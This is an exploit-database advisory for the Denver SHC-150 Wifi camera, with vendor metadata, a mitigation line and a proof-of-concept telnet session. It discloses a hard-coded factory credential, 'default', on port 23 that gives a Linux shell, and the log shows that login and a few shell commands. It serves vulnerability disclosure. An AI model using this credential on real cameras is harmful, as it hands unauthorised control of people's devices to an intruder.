Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)

vendor:

Denver SHC-150

by:

Ivan Nikolsky (enty8080)

7,5

CVSS

HIGH

Backdoor

287

CWE

Product Name: Denver SHC-150

Affected Version From: All firmware versions

Affected Version To: All firmware versions

Patch Exists: NO

Related CWE: N/A

CPE: h:denver:shc-150

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Denver SHC-150

2021

Denver Smart Wifi Camera SHC-150 – ‘Telnet’ Remote Code Execution (RCE)

A backdoor was found in a Denver SHC-150 Smart Wifi Camera. The backdoor is a factory telnet credential - 'default'. An attacker can open a telnet connection with the camera on port 23 and enter 'default' to gain access to a Linux shell and execute commands on OS level through telnet.

Mitigation:

Disable telnet service on the camera and use secure authentication protocols.

Source

Exploit-DB raw data:

# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
# Date: 27 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
# Version: Denver SHC-150 (all firmware versions)
# Tested on: Denver SHC-150

Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.

PoC:

```
enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
Trying 192.168.2.118...
Connected to pc192-168-2-118.
Escape character is '^]'.

goke login: default
$ ls /
bin      home     linuxrc  opt      run      tmp
dev      init     media    proc     sbin     usr
etc      lib      mnt      root     sys      var
$ pwd
/home/default
$ exit
Connection closed by foreign host.
enty8080@Ivans-Air ~ %
```